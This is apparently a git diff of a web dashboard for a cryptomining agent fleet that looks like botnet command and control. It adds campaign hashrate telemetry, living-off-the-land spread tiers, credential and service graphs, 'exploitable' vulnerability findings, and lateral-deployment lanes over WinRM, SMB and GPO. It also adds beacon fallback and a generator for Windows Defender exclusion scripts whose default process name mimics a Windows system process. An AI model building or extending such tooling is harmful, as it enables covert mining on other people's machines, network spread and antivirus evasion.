<LotlTierBadge tier={focusedAgent.lotl_tier} attempts={focusedAgent.lotl_attempts} variant="inline" />
|
||||
<RiskBadge findings={focusedAgent.vuln_findings} variant="inline" />
|
||||
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
|
||||
@@ -1175,7 +1340,7 @@ export default function CruciblePage() {
|
||||
<span className="section-ornament">◆</span> GROUPS <HelpTip field="crucible_groups" />
|
||||
</div>
|
||||
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
|
||||
Same groups as Fleet Roster — click a chip to select all members.
|
||||
Named color subsets — click a chip to select all members for bulk commands.
|
||||
</p>
|
||||
{groups.length === 0 ? (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
|
||||
@@ -1009,8 +1009,8 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
{filteredAgents.length > 12 && (
|
||||
<div style={{ textAlign: 'center', marginTop: '1rem' }}>
|
||||
<Link to="/agents" className="btn btn-outline btn-sm font-tech">
|
||||
View all {filteredAgents.length} agents →
|
||||
<Link to="/crucible" className="btn btn-outline btn-sm font-tech">
|
||||
View all {filteredAgents.length} agents in Crucible →
|
||||
</Link>
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -650,6 +650,66 @@
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.war-room-funnel-card--heat::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(
|
||||
ellipse at 85% 15%,
|
||||
rgba(255, 107, 44, calc(var(--hash-heat, 0) * 0.5)) 0%,
|
||||
rgba(201, 162, 39, calc(var(--hash-heat, 0) * 0.22)) 35%,
|
||||
transparent 65%
|
||||
);
|
||||
pointer-events: none;
|
||||
transition: opacity 0.35s ease;
|
||||
}
|
||||
|
||||
.war-room-agent-tags {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
margin-bottom: 0.65rem;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.war-room-agent-tag {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.25rem;
|
||||
padding: 0.12rem 0.4rem;
|
||||
border-radius: 999px;
|
||||
font-size: 0.68rem;
|
||||
border: 1px solid rgba(61, 214, 198, 0.25);
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
color: var(--text-dim, #aaa);
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
.war-room-agent-tag-name {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
max-width: 7rem;
|
||||
}
|
||||
|
||||
.war-room-lotl-badge {
|
||||
flex-shrink: 0;
|
||||
padding: 0.05rem 0.3rem;
|
||||
border-radius: 3px;
|
||||
font-size: 0.58rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
color: #ff6b2c;
|
||||
background: rgba(255, 107, 44, 0.15);
|
||||
border: 1px solid rgba(255, 107, 44, 0.35);
|
||||
}
|
||||
|
||||
.agent-tag-chip.war-room-lotl-badge {
|
||||
color: #ff6b2c;
|
||||
background: rgba(255, 107, 44, 0.12);
|
||||
border-color: rgba(255, 107, 44, 0.35);
|
||||
}
|
||||
|
||||
.war-room-funnel-card-head {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
|
||||
@@ -12,7 +12,7 @@ import { api } from '../api/client';
|
||||
import { SPREAD_TECHNIQUES_DOC } from '../help/spreadTechniques';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: () => ({ latestMessage: null }),
|
||||
useWebSocket: () => ({ latestMessage: null, agents: [] }),
|
||||
}));
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
@@ -116,4 +116,18 @@ describe('EmberwakePage', () => {
|
||||
expect(exportSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('auto-selects pinned build A without re-fetch loop', async () => {
|
||||
const listSpy = vi.spyOn(api, 'listBuilds');
|
||||
const warRoomSpy = vi.spyOn(api, 'getWarRoom');
|
||||
renderEmberwake();
|
||||
const pinA = await screen.findByLabelText(/Build A \(pin\)/i);
|
||||
await waitFor(() => {
|
||||
expect((pinA as HTMLSelectElement).value).toBe('build-1');
|
||||
});
|
||||
// load() runs once on mount — pin ref fix must not cascade into repeated fetches.
|
||||
expect(listSpy.mock.calls.length).toBeLessThanOrEqual(2);
|
||||
// War room loads once on mount; hashrate telemetry comes from WS stats_batch (no poll loop).
|
||||
expect(warRoomSpy.mock.calls.length).toBeLessThanOrEqual(2);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -9,6 +9,11 @@ import {
|
||||
spreadTechniqueDocUrl,
|
||||
} from '../help/spreadTechniques';
|
||||
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
|
||||
import {
|
||||
aggregateCampaignTelemetry,
|
||||
maxTelemetryHashrate,
|
||||
mergeCampaignWithLiveTelemetry,
|
||||
} from '../help/warRoomTelemetry';
|
||||
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
|
||||
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
|
||||
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
|
||||
@@ -42,7 +47,7 @@ const NOTES_TYPING_IDLE_MS = 2000;
|
||||
const WAR_ROOM_DAYS = 7;
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const { latestMessage, agents: wsAgents } = useWebSocket();
|
||||
const { notesTyping, sendNotesTyping } = usePresence();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
@@ -111,6 +116,24 @@ export default function EmberwakePage() {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
|
||||
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
|
||||
|
||||
const displayCampaigns = useMemo(() => {
|
||||
if (!warRoom?.campaigns?.length) return [];
|
||||
return warRoom.campaigns.map((c) =>
|
||||
mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
|
||||
);
|
||||
}, [warRoom, liveTelemetry]);
|
||||
|
||||
const campaignAgentsMap = useMemo(() => {
|
||||
const out: Record<string, typeof wsAgents> = {};
|
||||
for (const [slug, telemetry] of liveTelemetry) {
|
||||
out[slug] = telemetry.agents;
|
||||
}
|
||||
return out;
|
||||
}, [liveTelemetry]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'emberwake_notes_updated') {
|
||||
@@ -339,21 +362,23 @@ export default function EmberwakePage() {
|
||||
</button>
|
||||
</div>
|
||||
<HelpTip field="ew_war_room_views" />
|
||||
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
|
||||
<span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
|
||||
</div>
|
||||
</div>
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
{displayCampaigns.length > 0 ? (
|
||||
warRoomView === 'constellations' ? (
|
||||
<CampaignConstellations
|
||||
campaigns={warRoom.campaigns}
|
||||
campaigns={displayCampaigns}
|
||||
onSelectCampaign={handleConstellationSelect}
|
||||
/>
|
||||
) : warRoomView === 'funnel' ? (
|
||||
<WarRoomFunnelBoard
|
||||
campaigns={warRoom.campaigns}
|
||||
days={warRoom.days || WAR_ROOM_DAYS}
|
||||
campaigns={displayCampaigns}
|
||||
days={warRoom?.days || WAR_ROOM_DAYS}
|
||||
refreshKey={warRoomUpdated}
|
||||
highlightCampaign={highlightedCampaign}
|
||||
campaignAgents={campaignAgentsMap}
|
||||
maxLiveHashrate={maxLiveHashrate}
|
||||
/>
|
||||
) : (
|
||||
<div className="war-room-table-wrap">
|
||||
@@ -373,7 +398,7 @@ export default function EmberwakePage() {
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{warRoom.campaigns.map((c, rowIndex) => {
|
||||
{displayCampaigns.map((c, rowIndex) => {
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const beacon = c.first_beacon ?? c.agents;
|
||||
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
|
||||
|
||||
@@ -178,6 +178,7 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(
|
||||
await screen.findByText(/first server start, credentials are printed once in the server console/i)
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText(/admin/i)).toBeInTheDocument();
|
||||
const adminCode = screen.getAllByText('admin', { exact: true }).find((el) => el.tagName === 'CODE');
|
||||
expect(adminCode).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -30,6 +30,10 @@ import {
|
||||
type ForgeSkinId,
|
||||
type ForgeThemeOverride,
|
||||
} from '../help/forgeOperationModes';
|
||||
import {
|
||||
buildDefenderExclusionScript,
|
||||
defaultWindowsInstallPreview,
|
||||
} from '../help/defenderExclusion';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
@@ -87,6 +91,9 @@ export default function SettingsPage() {
|
||||
const [backupMsg, setBackupMsg] = useState('');
|
||||
const [testingAlerts, setTestingAlerts] = useState(false);
|
||||
const [alertTestMsg, setAlertTestMsg] = useState('');
|
||||
const [avInstallPath, setAvInstallPath] = useState(defaultWindowsInstallPreview());
|
||||
const [avProcessName, setAvProcessName] = useState('RuntimeBrokerHelper');
|
||||
const [avScriptMsg, setAvScriptMsg] = useState('');
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -458,6 +465,80 @@ export default function SettingsPage() {
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2 className="font-display">Windows Defender Exclusions</h2>
|
||||
<p className="section-desc">
|
||||
Generate a PowerShell script to allowlist your forge install path and worker process.
|
||||
Run it <strong>manually as Administrator</strong> on each mining PC — the agent does not silently bypass AV.
|
||||
Disable Tamper Protection temporarily if exclusions are rejected.
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group" style={{ flex: 2 }}>
|
||||
<label className="label" htmlFor="av-install-path">Install path</label>
|
||||
<input
|
||||
id="av-install-path"
|
||||
className="input"
|
||||
value={avInstallPath}
|
||||
onChange={(e) => setAvInstallPath(e.target.value)}
|
||||
placeholder="%LOCALAPPDATA%\CryptoMiner\worker-{build_short}"
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group" style={{ flex: 1 }}>
|
||||
<label className="label" htmlFor="av-process-name">Process name</label>
|
||||
<input
|
||||
id="av-process-name"
|
||||
className="input"
|
||||
value={avProcessName}
|
||||
onChange={(e) => setAvProcessName(e.target.value)}
|
||||
placeholder="RuntimeBrokerHelper"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={async () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: avInstallPath,
|
||||
processName: avProcessName,
|
||||
});
|
||||
try {
|
||||
await navigator.clipboard.writeText(script);
|
||||
setAvScriptMsg('Script copied — run elevated on each Windows worker.');
|
||||
} catch {
|
||||
setAvScriptMsg('Clipboard blocked — select script from download below.');
|
||||
}
|
||||
}}
|
||||
>
|
||||
Copy exclusion script
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: avInstallPath,
|
||||
processName: avProcessName,
|
||||
});
|
||||
const blob = new Blob([script], { type: 'text/plain' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = 'aetherforge-defender-exclusions.ps1';
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
setAvScriptMsg('Downloaded aetherforge-defender-exclusions.ps1');
|
||||
}}
|
||||
>
|
||||
Download .ps1
|
||||
</button>
|
||||
</div>
|
||||
{avScriptMsg && (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>{avScriptMsg}</p>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<div className="settings-grid">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Deck Atmosphere</h2>
|
||||
|
||||
@@ -83,8 +83,31 @@ export interface Agent {
|
||||
campaign?: string;
|
||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||
latency_ms?: number;
|
||||
|
||||
// Mining fallback cascade (container → in-process → GPU → Stratum)
|
||||
active_method?: string;
|
||||
failed_methods?: { method: string; reason: string; at: string }[];
|
||||
last_error?: string;
|
||||
chain_order?: string[];
|
||||
stratum_overlay?: boolean;
|
||||
chain_exhausted?: boolean;
|
||||
|
||||
/** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
|
||||
mining_hashrate?: number;
|
||||
/** Living-off-the-land execution tier reported by agent. */
|
||||
lotl_tier?: string;
|
||||
/** Per-tier attempt history from agent TierReport. */
|
||||
lotl_attempts?: import('./lotl').TierAttempt[];
|
||||
|
||||
/** Read-only vuln probe findings (LOTL recon tier). */
|
||||
vuln_findings?: import('./recon').VulnFinding[];
|
||||
vuln_risk_score?: number;
|
||||
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
|
||||
join_lane?: string;
|
||||
}
|
||||
|
||||
export type { LOTLTier, TierAttempt, TierReport } from './lotl';
|
||||
|
||||
export interface AgentService {
|
||||
name: string;
|
||||
display_name?: string;
|
||||
@@ -272,6 +295,8 @@ export interface ServerSettings {
|
||||
sign_timestamp_url?: string;
|
||||
public_builds_enabled?: boolean;
|
||||
public_builds_latest_n?: number;
|
||||
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
|
||||
lotl_onion_tiers?: string[];
|
||||
}
|
||||
|
||||
export interface TunnelDefaults {
|
||||
@@ -409,6 +434,8 @@ export interface BuildRequest {
|
||||
thread_percent: number;
|
||||
cpu_priority: string;
|
||||
mining_mode: string;
|
||||
/** CPU workload isolation: auto | container | inprocess | subprocess */
|
||||
miner_execution?: string;
|
||||
display_mode: string;
|
||||
silent_mode: boolean;
|
||||
run_as: string;
|
||||
@@ -493,6 +520,11 @@ export interface BuildRequest {
|
||||
https_beacon_fallback?: boolean;
|
||||
/** Minutes without WebSocket before HTTPS beacon (default 3). */
|
||||
https_beacon_after_min?: number;
|
||||
/** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
|
||||
lotl_onion_enabled?: boolean;
|
||||
/** Pull tier order from server on auth instead of baked list only. */
|
||||
lotl_policy_from_server?: boolean;
|
||||
lotl_onion_tiers?: string[];
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
@@ -558,6 +590,20 @@ export interface PathTraceHop {
|
||||
error?: string;
|
||||
}
|
||||
|
||||
export interface ServiceGraphEntry {
|
||||
service_name: string;
|
||||
port?: number;
|
||||
join_lane_candidate?: string;
|
||||
source?: string;
|
||||
}
|
||||
|
||||
export interface ServiceGraphHost {
|
||||
host: string;
|
||||
subnet?: string;
|
||||
agent_id?: string;
|
||||
services: ServiceGraphEntry[];
|
||||
}
|
||||
|
||||
export interface BlueprintInfo {
|
||||
name: string;
|
||||
size: number;
|
||||
|
||||
104
server/web/src/types/lotl.ts
Normal file
104
server/web/src/types/lotl.ts
Normal file
@@ -0,0 +1,104 @@
|
||||
/**
|
||||
* LOTL tier mining types — mirrors agent/miner/lotl.go TierAttempt / TierReport.
|
||||
* Consumed by Crucible, Emberwake, and mining_diagnostics rich terminal blocks.
|
||||
*/
|
||||
|
||||
/** Canonical tier identifiers from the agent onion chain. */
|
||||
export type LOTLTier =
|
||||
| 'container'
|
||||
| 'wsl'
|
||||
| 'ps_memory'
|
||||
| 'inprocess'
|
||||
| 'gpu'
|
||||
| 'stratum'
|
||||
| string;
|
||||
|
||||
/** One tier probe or start attempt — mirrors Go TierAttempt. */
|
||||
export interface TierAttempt {
|
||||
tier: string;
|
||||
ok: boolean;
|
||||
error?: string;
|
||||
duration_ms?: number;
|
||||
wallet?: string;
|
||||
}
|
||||
|
||||
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
|
||||
export interface TierReport {
|
||||
active_tier?: string;
|
||||
lotl_tier?: string;
|
||||
attempts?: TierAttempt[];
|
||||
lotl_attempts?: TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
}
|
||||
|
||||
const TIER_LABELS: Record<string, string> = {
|
||||
container: 'Container',
|
||||
wsl: 'WSL',
|
||||
ps_memory: 'PS Memory',
|
||||
inprocess: 'In-Process',
|
||||
gpu: 'GPU',
|
||||
stratum: 'Stratum',
|
||||
vuln_probe: 'Vuln Recon',
|
||||
};
|
||||
|
||||
export function formatLotlTierLabel(tier: string): string {
|
||||
const key = tier.trim().toLowerCase();
|
||||
return TIER_LABELS[key] ?? tier.replace(/_/g, ' ');
|
||||
}
|
||||
|
||||
export function formatDurationMs(ms?: number): string {
|
||||
if (ms === undefined || ms === null || Number.isNaN(ms)) return '—';
|
||||
if (ms < 1000) return `${Math.round(ms)}ms`;
|
||||
return `${(ms / 1000).toFixed(1)}s`;
|
||||
}
|
||||
|
||||
/** Normalize lotl_attempts / attempts from API or diagnostics JSON. */
|
||||
export function parseTierAttempts(raw: unknown): TierAttempt[] {
|
||||
if (!Array.isArray(raw)) return [];
|
||||
const out: TierAttempt[] = [];
|
||||
for (const item of raw) {
|
||||
if (!item || typeof item !== 'object') continue;
|
||||
const row = item as Record<string, unknown>;
|
||||
const tier = typeof row.tier === 'string' ? row.tier : '';
|
||||
if (!tier) continue;
|
||||
out.push({
|
||||
tier,
|
||||
ok: row.ok === true,
|
||||
error: typeof row.error === 'string' ? row.error : undefined,
|
||||
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
|
||||
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/** Extract tier report fields from mining_diagnostics JSON or WS agent row. */
|
||||
export function parseTierReport(raw: Record<string, unknown>): {
|
||||
lotl_tier?: string;
|
||||
lotl_attempts: TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
} {
|
||||
const lotl_tier =
|
||||
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
||||
const mining_hashrate =
|
||||
typeof raw.mining_hashrate === 'number'
|
||||
? raw.mining_hashrate
|
||||
: typeof raw.cpu === 'object' && raw.cpu !== null
|
||||
? (raw.cpu as Record<string, unknown>).hashrate_hps as number | undefined
|
||||
: undefined;
|
||||
return { lotl_tier, lotl_attempts: attempts, mining_hashrate };
|
||||
}
|
||||
|
||||
export function lotlAttemptsTooltip(attempts: TierAttempt[]): string {
|
||||
if (attempts.length === 0) return 'No LOTL tier attempts recorded';
|
||||
return attempts
|
||||
.map((a) => {
|
||||
const status = a.ok ? 'OK' : 'FAIL';
|
||||
const err = a.error ? ` — ${a.error}` : '';
|
||||
return `${formatLotlTierLabel(a.tier)}: ${status} (${formatDurationMs(a.duration_ms)})${err}`;
|
||||
})
|
||||
.join('\n');
|
||||
}
|
||||
46
server/web/src/types/recon.ts
Normal file
46
server/web/src/types/recon.ts
Normal file
@@ -0,0 +1,46 @@
|
||||
/** Fleet recon — credential graph, service graph, vuln findings (mirrors agent/server JSON). */
|
||||
|
||||
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
|
||||
|
||||
export interface VulnFinding {
|
||||
cve_id: string;
|
||||
severity: VulnSeverity;
|
||||
component?: string;
|
||||
patched?: boolean;
|
||||
exploitable_in_fleet_context?: boolean;
|
||||
}
|
||||
|
||||
export type JoinLane =
|
||||
| 'winrm'
|
||||
| 'smb'
|
||||
| 'gpo'
|
||||
| 'docker'
|
||||
| 'bits'
|
||||
| 'intune'
|
||||
| 'linux-lotl'
|
||||
| string;
|
||||
|
||||
export interface CredentialSubnetEdge {
|
||||
subnet: string;
|
||||
edges: number;
|
||||
success_count?: number;
|
||||
fail_count?: number;
|
||||
last_at?: string;
|
||||
}
|
||||
|
||||
export interface CredentialGraphResponse {
|
||||
subnets: CredentialSubnetEdge[];
|
||||
}
|
||||
|
||||
export interface ServiceGraphNode {
|
||||
service_name: string;
|
||||
port?: number;
|
||||
join_lane_candidate?: string;
|
||||
status?: string;
|
||||
}
|
||||
|
||||
export interface ServiceGraphResponse {
|
||||
agent_id?: string;
|
||||
subnet?: string;
|
||||
services: ServiceGraphNode[];
|
||||
}
|
||||
@@ -13,6 +13,10 @@ export interface WSAgentOffline {
|
||||
agent_id: string;
|
||||
}
|
||||
|
||||
export interface WSStatsBatch {
|
||||
updates: WSStatsUpdate[];
|
||||
}
|
||||
|
||||
export interface WSStatsUpdate {
|
||||
agent_id: string;
|
||||
hashrate_15s: number;
|
||||
@@ -58,6 +62,23 @@ export interface WSStatsUpdate {
|
||||
agent_elevated?: boolean;
|
||||
services?: AgentService[];
|
||||
latency_ms?: number;
|
||||
|
||||
// Mining fallback cascade
|
||||
active_method?: string;
|
||||
failed_methods?: { method: string; reason: string; at: string }[];
|
||||
last_error?: string;
|
||||
chain_order?: string[];
|
||||
stratum_overlay?: boolean;
|
||||
chain_exhausted?: boolean;
|
||||
|
||||
/** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
|
||||
mining_hashrate?: number;
|
||||
/** LOTL tier label for spread telemetry badges. */
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: import('./lotl').TierAttempt[];
|
||||
vuln_findings?: import('./recon').VulnFinding[];
|
||||
vuln_risk_score?: number;
|
||||
join_lane?: string;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
|
||||
Reference in New Issue
Block a user